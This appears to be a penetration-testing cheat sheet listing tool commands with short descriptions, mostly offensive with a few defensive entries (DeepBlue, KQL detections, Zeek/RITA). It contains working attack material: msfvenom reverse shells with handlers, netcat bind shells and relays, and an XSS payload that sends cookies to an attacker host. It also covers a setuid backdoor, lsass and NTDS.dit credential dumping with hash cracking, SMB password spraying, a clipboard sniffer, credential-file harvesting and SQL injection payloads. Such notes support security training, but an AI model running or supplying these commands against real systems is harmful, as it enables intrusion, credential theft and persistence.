Alternate Data Streams	
ADS | 1 type NTDS.dit > OfficeKitchen.docx:NTDS.dit	Hide ntds.dit in additional data stream in OfficeKitchen.docx ; sort of like a symbolic link
ADS | 2 Get-Content -Path .\NTDS.dit | Set-Content -Path .\OfficeKitchen.docx -Stream NTDS.dit	Add additional stream named NTDS.dit; same as 1, different method.
ADS | 3 wmic process call create C:\TEMP\OfficeKitchen.docx:flamingo.exe	Invoking flamingo.exe which is hidden inside OfficeKitchen.docx
ADS | 4 notepad defaultfile.txt:secretfile.txt	Hiding secretfile.txt inside defaultfile using notepad
ADS | dir /r	Show hidden streams in current directory
ADS | Get-Item * -Stream *	List streams using powershell
ADS | Get-ChildItem -recurse | ForEach { Get-Item $_.FullName -stream * } \| Where stream -ne ':$DATA'	Recursive search through all directories for hidden streams
Arp | arp -a	List arp entries on both windows and Linux
Arp | ipconfig /displaydns	Display arp data on windows
Arp | strings /var/cache/nscd/hosts	Get entries from nscd hosts files
Ghostwriting Assembly	
ASM | 1 msfdb start	Start metasploit db
ASM | 2 msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.144.151 LPORT=4444 -f raw -o payload.raw --platform windows -a x86	Create payload.raw
ASM | 3 ruby /opt/metasm/scripts/disassemble.rb payload.raw > payload.asm	Disassemble payload.raw into .asm
ASM | 4 vim payload.asm	Edit .asm; insert ".section '.txt' rwx" on line 1; .entrypoint on line2 ; then make edits before xor
ASM | 5 ruby /opt/metasm/samples/peencode.rb payload.asm -o payload.exe	Convert asm back to exe
Zone Transfer	
AXFR| nslookup server 10.142.147.1 ls -d target.tgt	On Windows; nameserver, and target
AXFR| dig @10.142.147.1 target.tgt -t AXFR	Zone transfer on unix
Backdoor | cd /tmp; cp /bin/sh backdoor; sudo chown root:root backdoor; sudo chmod 4111 backdoor; ./backdoor -p	Create a backdoor with sudo chown / sudo chmod permissions
Bettercap	
Bettercap | 1 sudo bettercap -eval "events.ignore endpoint; set $ {reset}"	Start bettercap, with eval to quote verbosity
Bettercap | 2 net.show	Show hosts on the network (after a few seconds to get cache entries)
Bettercap | 3 set arp.spoof.targets 192.168.86.140	Set the target victim
Bettercap | 4 set net.sniff.output mitm-traffic.pcap	Set output file
Bettercap | 5 net.sniff on	Turn sniff on
Bettercap | 6 arp.spoof on	Turn arp spoof on
Cookiecatcher	

CookieCatcher | <html> <?php file_put_contents("cookies.log", json_encode(array("GET"=>$_GET, "POST"=>$_POST, "headers"=>getallheaders())))."\n", FILE_APPEND); ?> </html>	Php To capture auth token
Cookiecatcher | php -S 0.0.0.0:8080	Serve cookie catcher
CookieCatcher | <script>document.location='http://10.142.148.X:8080/' + document.cookie</script>	XSS To redirect and scrape auth token
Cookiecatcher | curl -b "tokenname=value" http://issplaylist.com/admin.html	Pass the cookie to the page to authorize
DPAT and Password Analysis + NTDS.dit	
DPAT | 1 ntdsutil "activate instance ntds" "ifm" "create full c:\ntdsbak" "quit" quit"	Create and extract your NTDS.dit and SYSTEM registry hives
DPAT | 2 Get-AdGroup -Filter * | % { Get-AdGroupMember $_.Name \| Select-Object -ExpandProperty SamAccountName \| Out-File -FilePath "$($_.Name).txt" -Encoding ASCII }	Create a file for each group with a user list
DPAT | 3 secretsdump.py -system registry/SYSTEM -ntds "Active Directory/ntds.dit" LOCAL -outputfile customer -history	Export password hashes
DPAT | 4 hashcat -m 3000 -a 3 customer.ntds --potfile-path hashcat.potfile -1 ?u?d?s --increment ?l?l?l?l?l?l?l	Crack LANMAN hashes via brute force (can take hours to days).
DPAT | 5 hashcat -m 1000 -a 0 customer.ntds wordlist.txt --potfile-path ./hashcat.potfile	Crack NT Hashes
DPAT | 6 python dpat.py -n ../ntdsbak/customer.ntds -c ../ntdsbak/hashcat.potfile -g ../ntdsbak/*.txt	Run DPAt to generate analysis. Specify location of ntds (hashes), Hashcat potfile, and txt files for Windows domain group files
DeepBlue | Deepblue.ps1	Current running Deepblue
DeepBlue | DeepBlue.ps1 Logfile.evtx	Offline log file
DeepBlue | Deepblue.ps1 -Log System	Gets the System log
DeepBlue | $credential = Get-Credential	Stores credential
DeepBlue | DeepBlue.ps1 -Log System -Hostname DC1 -Credential $credential	Requires credential set ($credential = Get-Credential). Gets logs from DC1
DeepBlue | DeepBlue.ps1 Security.evtx | Format-List -Property Message, Results	Run as powershell cmdlet, printing only message and results
DeepBlue | DeepBlue.ps1 Security.evtx | Export-Csv -Path Report.csv	Export output to csv
ExploitTest| Josh <script>alert(1);</script>	Test for XSS
ExploitTest | <hr>	Test for XSS
ExploitTest | Josh'	Test for SQL Injection
ExploitTest | Josh; id; ls	Test for Command Injection
ExploitTest | http://www.clippedbin.com	Test for Remote File Include
ExploitTest | /etc/passwd	Test for Local File Include
Dumping Hashes on Windows	

Hashes | 1 ntdsutil	Start ntdsutil as administrator
Hashes | 2 activate instance ntds	Set the ntds as context
Hashes | 3 ifm	Create a backup of ntds.dit
Hashes | 4 create full c:\ntds	Path to create
Hashes | 5 quit	Exit
Hashes | 6 quit	Exit
Hashcat	
Hashcat | hashes	All inputs for hashcut should be JUST hashes
Hashcat | -o outfile --potfile-path	Set the output file and the potfile path
Hashcat | 500	**md5crypt 1, MD5(Unix)**
Hashcat | 200	bcrypt $2*$, Blowfish(Unix)
Hashcat | 400	sha256crypt 5, SHA256(Unix)
Hashcat | 7400	**SHA256 Crypt**
Hashcat | 1800	**sha512crypt 6, SHA512(Unix)**
Hashcat | 3000	**LM**
Hashcat | 1000	**NTLM**
Hashcat | 900	MD4
Hashcat | 0	**MD5**
Hashcat | 5100	Half MD5
Hashcat | 100	SHA1
Hashcat | 1400	SHA-256
Hashcat | 1700	SHA-512
Hashcat | 12	PostgreSQL
Hashcat | 131	MSSQL (2000)
Hashcat | 132	MSSQL (2005
Hashcat | 1731	MSSQL (2012, 2014)
Hashcat | 200	MySQL323
Hashcat | 300	MySQL4.1/MySQL5
Hashcat | hashcat -m -a hashes.txt wordlist.txt	Default mode is 0 (straight), format, hash file, wordfile
Hashcat | hashcat -m 1000 -a 0 hashes.txt words.txt	-m = NTLM, -a 0 = Straight mode, hashes.txt = from hashdump, words.txt = list of passwords.
Hashcat | hashcat -m 1000 -a 1 hashes.txt words.txt words2.txt	Combinator attack, two wordlists (words.txt and words2.txt). Typically one large + one small.
Hashcat | hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?d?d	Cracks in mask mode; Format = Upppp11
Hashcat | haschat -m 1000 -a 6 hashes.txt words.txt ?s?d	Wordlist + mask, appending the mask ?s?d (special char + digit, e.g. Dance!1)
Hashcat | hashcat -m 1000 -a 7 hashest.txt ?d?d?d?d words.txt	Same as above, but prepended. Less common.
Hashcat | hashcat -m 1000 -a 0 ./smart-hashdump.txt words.txt -r best64.rule	Runs straight mode against wordlist, but with rule file best64 to permutate
Hashcat | .\hashcat64.exe -a 0 -m 3000 -r rules\Incisive-leetspeak.rule sam.txt password.lst	Use straight mode, mode LANMAN, rule file, sam = hashes, password.lst = wordlist
Hashcat | hashcat -m 1000 -a 0 w99.ntds /usr/share/dict/rockyou.txt --potfile-path . /w99.potfile --force	Crack ntlm hashes in w99.ntds, using rockyou.txt wordlist, potfile to save local path, and --force for cpu only
Hydra	

Hydra | hydra -l josh -p mypass ssh://10.10.10.10	Test username and pass using ssh on 10.10.10.10
Hydra | hydra -l josh -P passlist.txt smb://10.10.10.20	Test user josh and password list against smb on 10.10.10.20
Hydra | hydra -L userlist.txt -p P@ssw0rd1 ftp://10.10.10.30	Test a userlist with <password> on ftp at 10.10.10.30
John	
John | --pot=./john.pot	Set the potfile local
John | john --show	Show cracked files
John | unshadow /etc/passwd /etc/shadow > combined	John needs user + hash
John | --format=md5crypt, descrypt, NT, sha256crypt, RAW-MD5, sha512crypt, mysql-sha1	Main Formats for cracking
John | hashdump or secretsdump.py	Windows output should be jumped from hashdump, mimitkatz, or secretsdump.py
John | john combined.txt	Run john the ripper against combined.txt (user:hash)
John | john --format=NT hashfile	Default is LANMAN, specify NT for NT hashes
John | john --format=md5crypt hashfile	For $1 hashes linux
Json_PP | cat <json file> | json_pp -f json -t dumper -json_opt pretty	Pretty prints json output piped in from stdin
Kibana / KQL	
Kibana | (head -n1 && tail -n1) < auth.log	Used to get timestamps for ranges in Kibana
KQL | http.response.status_code: 301	Match value
KQL | http.response.status_code: (200 or 404)	Match group of values
KQL | user_agent.orginal:Mozilla	Match exact string
KQL | user_agent.orginal:*Mozilla*	Match wildcard string
KQL | http.response.body.bytes > 1000	Mage using numeric operator
KQL | user_agent.original:sqlmap*	Can search for user agents that ran with sqlmap
KQL | url.original:(*SELECT* *select*)	Can search for common SQL keywords passed by sqlmap
KQL | url.original:(*mysql.user* *sys.syslogins*)	Can search for hits on a specific name for a possible SQL injection
Meterpreter	
Meterpreter | set exploit windows/smb/psexec	Use SMB exploit for windows
Meterpreter | set PAYLOAD windows/meterpreter/reverse_tcp	Exploit to get a meterpreter shell
Meterpreter | portfwd add -l 8000 -p 80 -r 10.10.10.100	Listen on 8000 (attacker). Connect to 10.10.10.100 on port 80 through an intermediate host.
Meterpreter | 1 background	With an existing meterpreter session, background it
Meterpreter | 2 route add 10.10.10.0/24 1	Add a route to the new network through the background session 1
Meterpreter | 3 set RHOST 10.10.10.100	Set the new host (in the new network space)
Meterpreter | 4 exploit	Exploit runs the exploit, but through the pivot (session 1)
Meterpreter | a run arp_scanner -r 10.10.10.0/24	Run arp scan in the network to evaluate other devices on the LAN
Meterpreter | b background	Background session 1
Meterpreter | c route add 10.10.10.0/24 1	Add route to new network through session 1
Meterpreter | d use auxiliary/scanner/portscan/tcp	Use tcp scanner aux module

Meterpreter | e set RHOSTS 10.10.10.1,11,100	Set new hosts (from identified in arp_scanner)
Meterpreter | f set ports 22,25,80,135,445,631	Set ports to listen
Meterpreter | g run	Execute port scan, using session 1
Metasploit | 1 msfconsole	Launch Metasploit
Metasploit | 2 search keyword type:exploit	Find the exploit you want to use
Metasploit | 3 use exploit/windows/smb/psexec	Choose psexec
Metasploit | 4 set SMBUser [User]	Set SMBuser (regular user or domain)
Metasploit | 5 set SMBPass [pass]	Set pass (can also be a hash)
Metasploit | 6 set SMBDomain [Domain]	Set domain
Metasploit | 7 set PAYLOAD windows/meterpreter/reverse_tcp	set Payload for a meterpreter shell
Metasploit | 8 set LHOST eth0	Set lhost (local)
Metasploit | 9 set RHOST 10.142.145.120	Set remote host
Metasploit | 10 exploit	Exploit
Meterpreter | run arp_scanner -r 10.10.10.0 /24	With a meterpreter shell, check for arp entries on the LAN segment
Meterpreter | background	Background your meterpreter session to 1
msf | route add 10.10.10.0/24 1	Add a route to your new network through session 1
msf | use auxiliary/scanner/portscan/tcp	Use the tcp scanner aux module
msf | set RHOSTS 10.10.10.1,11,100	Set your hosts found from arp_scanner
msf | set PORTS 22,25,80,135,445,631	Set your ports
msf | run	Exploit
msf | sessions -i 1	Switch back to session 1 after it was sent to background
Mimikatz	
Mimiktaz | 1 procdump64.exe -accepteula -ma lsass.exe lsass.dmp	Use procdump which isn't blocked to get a memory dump of lsass.exe
Mimikatz | 2 mimikatz.exe	Run mimikatz (on separate system)
Mimikatz | 3 sekurlsa::minidump lsass.dmp	Equivalent of "open" the .dmp file with mimikatz
Mimikatz | 4 sekurlsa::logonPasswords full	Command to display passwords.
Msfvenom	
Msfvenom | msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 --platform windows LHOST=172.16.0.6 LPORT=4444 -o installer.exe	Generate installer.exe using msfvenom (in lieu of live launch with Metasploit)
Msfvenom | msfconsole -qx "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LPORT 4444; set LHOST 0.0.0.0; exploit"	Set up the attacker side for the connect-back from the msfvenom command
NET	
net | net user /domain > users.txt	Creates users.txt with domain user accounts
net | @FOR /F %p in (pass.txt) DO @FOR /F %n in (users.txt) DO @net use \\SERVERIP\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && echo [*] %n:%p && @net use /delete \\SERERIP\IPC$ > NUL	Looping through users in user.txt with passwords in pass.txt (less than account
net | net use //[ip] OR \\[ip]	See outbound connections
net | net use \\[ip addr] /del	Delete an SMB session
net | net use * /del	drop all outbound SMB session

net | net session	See inbound SMB sessions
net | net session \\[ipaddr] /del	Delect specific inbound connection
net | net use \\[target IP]	Create a session with the local share
net | net view \\[target IP]	List the shares of the [target] IP; IPC$ ADMIN$ and C$ are hidden
net | net user /add <name> <password>	Password should be at least 8 chars, 1 Upper, 1 lower, 1 special, and command completed.
net | net localgroup administrators <name> /add	Adds user to admin group; Verify command is completed
net | smbclient -U norma -L //songs.issplaylist.com -m SMB3	List shares as norma
net | net users	Lists the users
net | net accounts	Lists password and lockout attributes
net | net session	List or disconnect session between computer and others on network
net | net view	Show list of computers and devices on network
NETCAT	
Netcat | 1 nc -l -p port < filename	Move file from listener to client; start listener, file as stdin
Netcat | 2 nc listenerIP port > filename	Connect to listener, directing to stdout
Netcat | nc -l -p port > filename	Push file from client to listener; start the listnener with file to stdout
Netcat | nc listener port < filename	Connect to the listener, piping the file as stdin
Netcat | nc -v -w3 -z targetIP startport-endport	Port scan; -z for min data; -v for when connection made; -w3 wait no more than 3 seconds.
Netcat | nc -v -w3 -p 80 -z targetIP startport-endport	Same as above but from port 80; -p is LOCAL port. Looks like web traffic.
Netcat | nc -l -p port -e /bin/sh ; nc [ip] [port]	Get a shell on any port TCP or UDP; target can then run commands
Netcat | nc -l -p port -e cmd.exe	Get a shell on any port TCP or UDP
Netcat | nc listnerIP port	Connects to one of the shell backdoors
Netcat | 1 vim listener.sh	Create listener.sh
Netcat | 2 while [1]; do echo "Started"; nc -l -p port -e /bin/sh; done	Listener.sh loops a shell to listen
Netcat | 3 nohup ./listener.sh &	Background and no-hang-up on listener (for logouts)
Netcat | a nc -l -p 2222 | nc 10.10.10.100 80	Relay setup on compromised server; listens on 2222, pipes traffic to 10.10.10.100 on 80
Netcat | b nc 10.10.10.10 2222	Connects to compromised server on 2222 (forwarded to dest on 80)
Netcat | c mkfifo backpipe p	Made on relay; named pipe to enable traffic back from target
Netcat | d nc -l -p 2222 < backpipe | nc 10.10.10.100 80 > backpipe	Listens on 2222 for attacker; Piped to target ; response is written to named pipe
Netcat | e /bin/bash < backpipe | nc -l -p 8080 > backpipe	Netcat might not support -e due to security; same thing to get a shell
NetcatRelay | nc -l -p 54321 -e cmd.exe	Create a listener shell on the target
NetcatRelay | mkfifo backpipe	Create your named pipe
NetCatRelay | nc -l -p 1111 <backpipe | nc 10.10.10.1 54321 > backpipe	Create a connection that takes stdin from backpipe, and pipes it to the target connection using backpipe for stdout
NetCatRelay | nc 127.0.0.1 1111	Connect in separate shell to 1111; you get a connection to the cmd.exe
Netsh | netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8000 connectaddress=10.10.10.100 connectport=80	Same as SSH tunnel but for windows; requires administrator, but built in.
Netsh | 1 netsh trace start capture=yes maxsize=1000 tracefile=pcapture.etl	Start packet trace with max size of 1000mb on windows
Netsh | 2 netsh trace stop	Stop the trace

Netsh | 3 etl12pcapng.exe pcature.etl pcapture.pcapng	conver the output to pcapng format
Nmap	
nmap | nmap songs.issplaylist.com -oA songs	Save output from songs.issplaylist.com to songs file
nmap | nmap --script dns-brute --script-args	Domain sets target. Threads for concurrent queries. -sS and -p are for dns 53
nmap | nmap -A [target] --reason -o file	Aggressive scan, OS, fingerprint, version scan, and NSE scripts
nmap | nmap -p ports(s) target --reason	Nmap to target ports, comma separated
nmap | nmap -nP [target] --reason	Disable ping check
nmap | nmap -sV -p port(s) [target] --reason	Version scan on specific ports
nmap | nmap -p 21,22,80,443,445 [ip]	Scan specific Ports
nmap | nmap --script =http-enum www.issplaylist.com	Enumerate for any HTTP Pages
nmap | sudo nmap -sV --reason -p- [ip]	scan all ports, version, with reason; can characterize services on different ports
nmap | nmap --script-help "http*" | grep "^http-"	Search for http scripts by name
nmap | nmap --script-help "smb*" | grep "^smb-"	Search for smb scripts by name
nmap | nmap --script http-git -sV [ip]	Run http-git script; sV is there to characterize version in case
Pbpaste| $x=""; while ($true) { $y=get-clipboard -raw; if ($x -ne $y) { Write-Host $y; $x=$y } }	Bypasses password managers; buffered to clipboard; can be written to file or sent over a network
Pbpaste| x="" while true; do y=`pbpaste`; if ["$x" != "$y"] ; then echo $y; x=$y; done	Bypasses password managers; buffered to clipboard; can be written to file or sent over a network
PasswordHarvest | ps -efw	Checks arguments to rpograms
PasswordHarvest | last -f /var/log/btmp	Users entering password in login prompt by mistake
PasswordHarvest | cat /home/*/.*history	Password in shell history
PasswordHarvest | grep -iR password /var/www	Saved passwords in web files
PasswordHarvest | cat /home/*/.ssh/id*	Saved SSH keys
PasswordHarvest | cat /home/*/.mysql_history	History files might have passwords
PasswordHarvest | cat /home/*/.aws/credentials	AWS credentials
PrivEsc | list	List to see what sudo permissions are available
PrivEsc | /usr/bin/find /etc -name passwd -exec /bin/bash -p ;	Setuid bit of find to execute /bin/bash -p getting a root shell
PrivEsc | cat /etc/shadow	Retrieve the hashes
Procdump	
Procdump | procdump64.exe -accepteula -ma Dispatchrunner.exe DispatchRunner.dmp	Dump dispatch runner, a custom application as an example
Procdump | strings DispatchRunner.dmp | grep -iE "auth|login|pass|key|secret|token"	From the dump, use strings to parse and grep potential passwords
RemoteInjection| **	Test for Remote injection commands
RemoteInjection| &&	Test for Remote injection commands
RemoteInjection| ;;	Test for Remote injection commands
RemoteInjection| !!	Test for Remote injection commands
RemoteInjection| "	Test for Remote injection commands
RemoteInjection| ((	Test for Remote injection commands

RemoteInjection|]]	Test for Remote injection commands
Responder | sudo /ops/Responder/Responder.py -I eth0	Start as root, target interface with -I (india)
Rpcclient	
rpcclient | rpcclient -U username server	enumdomusers | enumalsgroups | lsaenumsid | lookupnames | lookupsids | srvinfo
rpcclient | enumdomusers	Get a list of all domain users
rpcclient | lookupusername <user>	Gets statistics and details of <user>
rpcclient | getdompwinfo	Get the password complexity for the domain
rpcclient | getusrdompwinfo <id>	Where ID is from lookup / queryuser of <user>
rpcclient | srvinfo	Gets srvinfo for the SMB server
rpcclient | enumalsgroups domain	Looks up all domain related groups
rpcclient | enumalsgroups builtin	Looks up all built in internal groups, usually microsoft defined
rpcclient | lookupnames <username>	Returns SID for a specifed username
rpcclient | queryuser <id>	Where <id> is from enumdomusers.
Smbclient	
smbclient | smbclient -L //192.168.99.10 -U jwright -m SMB2	List shares as jwright
smbclient | smbclient -L //songs.issplaylist.com -U joshw%Pass0rd	List shares as a localgroup admin (needs to be added and configured)
smbclient | smbclient //192.168.99.10 /accounting$ -U jwright -m SMB2	Connect to the specified share
smbclient | smbclient -U IP\\josh //server/C$ -m SMB3	Access as domain user to server/C$
smbclient | allinfo <file>	List alternate data streams
SQL	
SQLInject| ' or '1'='1	value to terminate, or '1'='1; returns all tables and proves SQL Injection
SQLInject| hashcat -m 300 -a 0 hashes /usr/share/dict/rockyou.txt --force -o outfile.txt	Guessed at mode 300 MySQL4.1/MySQL5 based on sqlmap output
SQLinject| user_agent.original:sqlmap*	Finding evidence in elasticsearch / kibana of a SQLMap injection
SQL | SELECT filename FROM place WHERE owner = 'jwright' OR 'a'='a ';	SQL Injection, a=a evalutes to true, true OR jwright evaluates to true, returning all results
SQL | SELECT uid, user FROM users WHERE user = 'jwright' UNION select ccard, cvv from payments -- '	Gets UID + user for jwright, but then also returns ccard and cvv from payments table
SQLMAP | python sqlmap.py -u "http://some.valid.address.com/products.php?cat=1"	Needs to be a valid URL that can return results
SQLMAP | python sqlmap.py -u "http://some.valid.address.com/products.php?cat=1" --dbs	List Databases available
SQLMAP | python sqlmap.py -u "http://some.valid.address.com/products.php?cat=1" --dbs -D acuart --tables	List tables in database acuart
SQLMAP | python sqlmap.py -u "http://some.valid.address.com/products.php?cat=1" --dbs -D acuart -T carts --columns	List column and types in a specific table, in the database
SQLMAP | python sqlmap.py -u "http://some.valid.address.com/products.php?cat=1" --dbs -D acuart -T carts --dump	Displays all entries in the table
SQLMAP | python sqlmapy.py -u "http://siteframe/vid.php?id=818'" --os-shell	Get an interactive shell if possible; requires writeable directory

SSH | ssh -L 8000:10.10.10.100:80 victorimko@10.10.10.11	Tunnel traffic from 8000(attacker) TO port 80 on 10.10.10.100 THROUGH victortimko@10.10.10.11
TCPdump	
TCPDump | tcpdump -i eth0	Capture on eth0, can also use any
TCPDump | tcpdump -i eth0 -w out.pcap	Capture on eth0, write to out.pcap
TCPDump | tcpdump -r out.pcap -n	Read pcap file in from out.pcap, don't resolve hostnames
TCPDump | tcpdump -r out.pcap -n -A	Read pcap file, don't resolve, show as ASCII
Tcpdump | tcpdump -n -i eth0 -s 0 -w . packets.pcap	Disable name resolution, listen on eth0, full frame, and save to .packets.pcap
XSS	
XSS | <script>alert(1)</script>	Test for XSS exploit
XSS | <hr>	Test for XSS Exploit
Zeek and Rita	
Zeek | 1 sudo service mongod start	Start mongodb
Zeek | 2 mkdir zeeklogs && cd zeeklogs	Make zeeklog directry
Zeek | 3 zeek -Cr ~/big-capture.pcap	Run Zeek against a 24-hour+ packet capture
Zeek | 4 rita import . mynetwork	Have RITA import the output file
Zeek | 5 rita html-report mynetwork	Generate an HTML report
Zeek | 6 rita show-beacons mynetwork -H	Show beacons in human readable
Zeek | 7 rita show-beacons mynetwork > mynetwork.csv	Dump beacons to .csv file.